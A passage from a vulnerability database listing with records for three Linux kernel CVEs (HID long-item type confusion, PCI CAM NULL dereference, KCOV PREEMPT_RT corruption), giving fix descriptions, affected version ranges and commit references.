              "lessThan": "dd8035dec26e98204d6e4a6e0cee5c4d329b3d7e",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "1fa1591efd417e39e5e164bebea8ca7a3837c469",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "e60159f5ea60254a5c3de4ea4f2f939f0171031b",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "e542edada3f79387c0ac2a528cebf01f4ef47df8",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "28abce951343fcec26e397610868efa4e1395c3f",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.12"
            },
            {
              "lessThan": "3.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.267",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.218",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.185",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.267",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.218",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.185",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.154",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: fix number/pointer type confusion on long items\n\nWhen fetch_item() is called by hid_scan_report() on an item with\nHID_ITEM_TAG_LONG, it stores a pointer to the item data in\nitem-\u003edata.longdata instead of storing a value directly in\nitem-\u003edata.{u8/u16/u32}.\n\nWhen item_udata() or item_sdata() encounters such an item, it incorrectly\nassumes that the item is in short format, and therefore returns the lower\npart of a kernel pointer reinterpreted as a number.\n\nWhen a HID device is connected whose descriptor contains a\nHID_GLOBAL_ITEM_TAG_REPORT_SIZE encoded in long format with size=4, this\ncauses the lower half of a kernel pointer to be printed into dmesg as a\nnumber, like this:\n\n    hid (null): invalid report_size 107953555\n\nTo fix it, let item_udata() and item_sdata() verify that the item is in\nshort format.\n\nNote that this bug only affects hid_scan_report(), while the main parsing\npass hid_parse_collections() will always bail out when encountering a long\nitem.\n\nSidenote: There are currently no users of data.longdata; maybe we should\njust remove any parsing of long-format descriptors as a follow-up."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:15.799Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bed7fe3a936b6bdd84671385951397ca673cf6e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/aec2c2ec87d4ec1f098979f68cd81b29f031c8cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/634f498ea5d5e8e01f8d9414d4f45eeaf9ee1996"
        },
        {
          "url": "https://git.kernel.org/stable/c/abec577de5fc16cd5caae42f97cdcd0983c06d66"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd8035dec26e98204d6e4a6e0cee5c4d329b3d7e"
        },
        {
          "url": "https://git.kernel.org/stable/c/1fa1591efd417e39e5e164bebea8ca7a3837c469"
        },
        {
          "url": "https://git.kernel.org/stable/c/e60159f5ea60254a5c3de4ea4f2f939f0171031b"
        },
        {
          "url": "https://git.kernel.org/stable/c/e542edada3f79387c0ac2a528cebf01f4ef47df8"
        },
        {
          "url": "https://git.kernel.org/stable/c/28abce951343fcec26e397610868efa4e1395c3f"
        }
      ],
      "title": "HID: core: fix number/pointer type confusion on long items",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80918",
    "datePublished": "2026-09-09T16:13:15.799Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:15.799Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80917 (GCVE-0-2026-80917)

    Vulnerability from nvd – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems
    Summary
    In the Linux kernel, the following vulnerability has been resolved: PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems On 32-bit systems the config space is too large to ioremap in one go, so pci_ecam_create() maps each bus segment separately and relies on the ->add_bus callback (pci_ecam_add_bus) to populate the per-bus mapping in cfg->winp[]. pci_ecam_map_bus() then uses that mapping as the base for every config access. The generic ECAM ops (pci_generic_ecam_ops) already provide the ->add_bus and ->remove_bus callbacks, but the CAM (legacy) ops in pci-host-generic.c do not. As a result, on a 32-bit host using "pci-host-cam-generic" the per-bus mapping is never set up and the first config read dereferences a NULL base, crashing during bus enumeration: Unable to handle kernel NULL pointer dereference at virtual address 00000800 Oops [#1] CPU: 0 PID: 1 Comm: swapper Not tainted 6.9.7+ #43 Hardware name: Digilent Nexys-Video-A7 RV32 (DT) epc : pci_generic_config_read+0x40/0xb0 ra : pci_generic_config_read+0x2c/0xb0 [<c038db9c>] pci_generic_config_read+0x40/0xb0 [<c038da04>] pci_bus_read_config_dword+0x50/0xb0 [<c0391e94>] pci_bus_generic_read_dev_vendor_id+0x3c/0x1ec [<c039245c>] pci_scan_single_device+0xa4/0x11c [<c0392570>] pci_scan_slot+0x9c/0x23c [<c039388c>] pci_scan_child_bus_extend+0x58/0x2f4 [<c0393db0>] pci_scan_root_bus_bridge+0x64/0xe8 [<c0393e54>] pci_host_probe+0x20/0xc8 [<c03bc6f4>] pci_host_common_probe+0x144/0x1e4 Fix this by giving the CAM ops the same ->add_bus/->remove_bus callbacks. Since pci_ecam_add_bus() and pci_ecam_remove_bus() are static to ecam.c, move the CAM ops definition there as pci_generic_cam_ops (mirroring pci_generic_ecam_ops) and export it for pci-host-generic.c to reference. [mani: removed timestamp from log]
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 5e52eb0290f66ba0732956dcb1e365b5ca3c5108 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < baf9b0383ff770fdff123d3a832f3a99641d96dd (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 8d08713ec83a18526d1ed1fd5f0d2b901d103a10 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 74456843f18ba7f3045974d7e8b88ab993152b8c (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 0c55707bd5d0d7670704cfd0dda933809b052f67 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < a199293f3038db8d31d47aa60f1e18272cd82354 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 0916948026f623844acd08888f7cbedbf1c48d6b (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 008cb88edb41f3c7c8e0ed763ff9f26719830984 (git)
    Affected: 0b5877a1aeacdbf32b3bea91326592004ec7806f (git)
    Affected: a037ebbe72a4f98495b193112e2b2000e5e09eb5 (git)
    Affected: 5.12.19 , < 5.13 (semver)
    Affected: 5.13.4 , < 5.14 (semver)
    		Create a notification for this product.
    Linux Linux Affected: 5.14
    Unaffected: 0 , < 5.14 (semver)
    Unaffected: 5.15.218 , ≤ 5.15.* (semver)
    Unaffected: 6.1.185 , ≤ 6.1.* (semver)
    Unaffected: 6.6.154 , ≤ 6.6.* (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/controller/pci-host-generic.c",
            "drivers/pci/ecam.c",
            "include/linux/pci-ecam.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5e52eb0290f66ba0732956dcb1e365b5ca3c5108",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "baf9b0383ff770fdff123d3a832f3a99641d96dd",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "8d08713ec83a18526d1ed1fd5f0d2b901d103a10",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "74456843f18ba7f3045974d7e8b88ab993152b8c",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "0c55707bd5d0d7670704cfd0dda933809b052f67",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "a199293f3038db8d31d47aa60f1e18272cd82354",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "0916948026f623844acd08888f7cbedbf1c48d6b",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "008cb88edb41f3c7c8e0ed763ff9f26719830984",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0b5877a1aeacdbf32b3bea91326592004ec7806f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a037ebbe72a4f98495b193112e2b2000e5e09eb5",
              "versionType": "git"
            },
            {
              "lessThan": "5.13",
              "status": "affected",
              "version": "5.12.19",
              "versionType": "semver"
            },
            {
              "lessThan": "5.14",
              "status": "affected",
              "version": "5.13.4",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/controller/pci-host-generic.c",
            "drivers/pci/ecam.c",
            "include/linux/pci-ecam.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.14"
            },
            {
              "lessThan": "5.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.218",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.185",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.218",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.185",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.154",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.12.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.13.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems\n\nOn 32-bit systems the config space is too large to ioremap in one go, so\npci_ecam_create() maps each bus segment separately and relies on the\n-\u003eadd_bus callback (pci_ecam_add_bus) to populate the per-bus mapping in\ncfg-\u003ewinp[]. pci_ecam_map_bus() then uses that mapping as the base for\nevery config access.\n\nThe generic ECAM ops (pci_generic_ecam_ops) already provide the -\u003eadd_bus\nand -\u003eremove_bus callbacks, but the CAM (legacy) ops in pci-host-generic.c\ndo not. As a result, on a 32-bit host using \"pci-host-cam-generic\" the\nper-bus mapping is never set up and the first config read dereferences a\nNULL base, crashing during bus enumeration:\n\n Unable to handle kernel NULL pointer dereference at virtual address 00000800\n Oops [#1]\n CPU: 0 PID: 1 Comm: swapper Not tainted 6.9.7+ #43\n Hardware name: Digilent Nexys-Video-A7 RV32 (DT)\n epc : pci_generic_config_read+0x40/0xb0\n  ra : pci_generic_config_read+0x2c/0xb0\n [\u003cc038db9c\u003e] pci_generic_config_read+0x40/0xb0\n [\u003cc038da04\u003e] pci_bus_read_config_dword+0x50/0xb0\n [\u003cc0391e94\u003e] pci_bus_generic_read_dev_vendor_id+0x3c/0x1ec\n [\u003cc039245c\u003e] pci_scan_single_device+0xa4/0x11c\n [\u003cc0392570\u003e] pci_scan_slot+0x9c/0x23c\n [\u003cc039388c\u003e] pci_scan_child_bus_extend+0x58/0x2f4\n [\u003cc0393db0\u003e] pci_scan_root_bus_bridge+0x64/0xe8\n [\u003cc0393e54\u003e] pci_host_probe+0x20/0xc8\n [\u003cc03bc6f4\u003e] pci_host_common_probe+0x144/0x1e4\n\nFix this by giving the CAM ops the same -\u003eadd_bus/-\u003eremove_bus callbacks.\nSince pci_ecam_add_bus() and pci_ecam_remove_bus() are static to ecam.c,\nmove the CAM ops definition there as pci_generic_cam_ops (mirroring\npci_generic_ecam_ops) and export it for pci-host-generic.c to reference.\n\n[mani: removed timestamp from log]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:15.202Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5e52eb0290f66ba0732956dcb1e365b5ca3c5108"
        },
        {
          "url": "https://git.kernel.org/stable/c/baf9b0383ff770fdff123d3a832f3a99641d96dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d08713ec83a18526d1ed1fd5f0d2b901d103a10"
        },
        {
          "url": "https://git.kernel.org/stable/c/74456843f18ba7f3045974d7e8b88ab993152b8c"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c55707bd5d0d7670704cfd0dda933809b052f67"
        },
        {
          "url": "https://git.kernel.org/stable/c/a199293f3038db8d31d47aa60f1e18272cd82354"
        },
        {
          "url": "https://git.kernel.org/stable/c/0916948026f623844acd08888f7cbedbf1c48d6b"
        },
        {
          "url": "https://git.kernel.org/stable/c/008cb88edb41f3c7c8e0ed763ff9f26719830984"
        }
      ],
      "title": "PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80917",
    "datePublished": "2026-09-09T16:13:15.202Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:15.202Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80916 (GCVE-0-2026-80916)

    Vulnerability from nvd – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    kcov: fix data corruption and race conditions on PREEMPT_RT
    Summary
    In the Linux kernel, the following vulnerability has been resolved: kcov: fix data corruption and race conditions on PREEMPT_RT syzbot is reporting KCOV state corruption on PREEMPT_RT kernels, for the temporary storage used for saving/restoring remote KCOV state is currently allocated as the per-CPU area. On PREEMPT_RT kernels, softirq handlers run as preemptible task threads (e.g., ksoftirqd). If a softirq context preempts a task running a remote KCOV session, it safely saves the task's state into the per-CPU area. However, if that softirq thread is subsequently preempted by a higher- priority softirq thread on the same CPU, the second softirq will overwrite the same per-CPU area, permanently destroying the original task's KCOV state. Fix this data corruption by moving the temporary storage from the per-CPU area to the per-thread area. Since each softirq thread now owns its own task context, nested softirq preemption no longer causes data overwrites. Note that while the temporary storage is now on a per-thread basis, the per-CPU kcov_percpu_data.lock must be retained, for we need to ensure that kcov_remote_start() and kcov_remote_stop() operate atomically without racing against asynchronous interrupts that manipulate the current task's KCOV state. It is likely that GFP_KERNEL allocation by vmalloc_node() in kcov_init() has already called panic() before returning NULL, for there will be no OOM-killable userspace processes when __init function of built-in module runs. But this patch also fixes crashing the kernel when vmalloc_node() in kcov_init() returned NULL, for kcov_init() left per-CPU irq_area == NULL but kcov_remote_start() depends on per-CPU irq_area != NULL, resulting in (1) doing vmalloc() in kcov_remote_start() despite !in_task() context (2) out-of-array-bounds access if (1) succeeded but kcov->remote_size < CONFIG_KCOV_IRQ_AREA_SIZE (3) always leak memory allocated by (1), eventually killing all OOM-killable userspace processes problems.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < ef7048d8a614c5f5a9b20513a5428101a744514e (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 8ed3ddf23d39bf5338406bd9f8863d44748cf6ce (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 5dc59fc959b2b5742985d7ef24bccd1868217dc2 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < a2fb8222cde23b0001812ed3acb7c0ea36dd94e2 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 18799e858b407bf355383c9dd6c06477aa437134 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < e11f5b48c82703242a3be7a7ae4b4940b4cb4610 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 22670d1552fe155822b2abf91f920925f7d067b4 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < f8c9a3ec36b4ee3d4701b9be08f40e7bfbf89761 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 2eed77fdcb0cc48e8eccb2bcd4b7f2c6d650e84c (git)
    		Create a notification for this product.
    Linux Linux Affected: 5.8
    Unaffected: 0 , < 5.8 (semver)
    Unaffected: 5.10.269 , ≤ 5.10.* (semver)
    Unaffected: 5.15.220 , ≤ 5.15.* (semver)
    Unaffected: 6.1.185 , ≤ 6.1.* (semver)
    Unaffected: 6.6.154 , ≤ 6.6.* (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/sched.h",
            "kernel/kcov.c",
            "lib/Kconfig.debug"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ef7048d8a614c5f5a9b20513a5428101a744514e",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "8ed3ddf23d39bf5338406bd9f8863d44748cf6ce",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "5dc59fc959b2b5742985d7ef24bccd1868217dc2",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "a2fb8222cde23b0001812ed3acb7c0ea36dd94e2",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "18799e858b407bf355383c9dd6c06477aa437134",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "e11f5b48c82703242a3be7a7ae4b4940b4cb4610",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "22670d1552fe155822b2abf91f920925f7d067b4",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "f8c9a3ec36b4ee3d4701b9be08f40e7bfbf89761",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "2eed77fdcb0cc48e8eccb2bcd4b7f2c6d650e84c",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/sched.h",
            "kernel/kcov.c",
            "lib/Kconfig.debug"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.269",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.185",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.269",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.220",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.185",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.154",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
